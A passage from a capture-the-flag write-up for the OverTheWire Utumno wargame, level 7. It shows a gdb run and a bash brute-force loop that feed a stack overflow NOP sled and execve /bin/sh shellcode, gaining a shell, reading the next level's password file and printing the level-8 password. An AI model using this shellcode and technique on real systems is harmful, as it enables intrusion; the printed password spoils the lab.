Quit
(gdb) run $(python -c "print 'AAAA' + '\x11\xd8\xff\xff' +  '\x90' * 111  + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\xdd\xd7\xff\xff'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 $(python -c "print 'AAAA' + '\x11\xd8\xff\xff' +  '\x90' * 111  + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\xdd\xd7\xff\xff'")
lol ulrich && fuck hector
process 26815 is executing new program: /bin/dash
$

Now, to get the shell, I wrote a quick bash script to bruteforce a proper return address:

utumno7@utumno:/utumno$ while [ $i  -lt  255 ]
> do
>    x=`printf "%02X\n"  $i`
>    echo $x
>    ./utumno7 $(python -c "print 'AAAA' +'\x11\xd8\xff\xff' +  '\x90' * 111  + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\x$x\xd7\xff\xff'")
>    i=`expr $i + 1`
> done
00
-bash: warning: command substitution: ignored null byte in input
lol ulrich && fuck hector
Segmentation fault
01
lol ulrich && fuck hector
Segmentation fault
02
lol ulrich && fuck hector
Segmentation fault
03
lol ulrich && fuck hector

...[removed]...

lol ulrich && fuck hector
$ whoami
utumno8
$ cat /etc/utumno_pass/utumno8
jaeyeetiav
$

Utumno 08 Solution

SSH : ssh utumno8@utumno.labs.overthewire.org -p 2227
Pass : jaeyeetiav

Nothing to see here. We’re done with the Utumno wargame.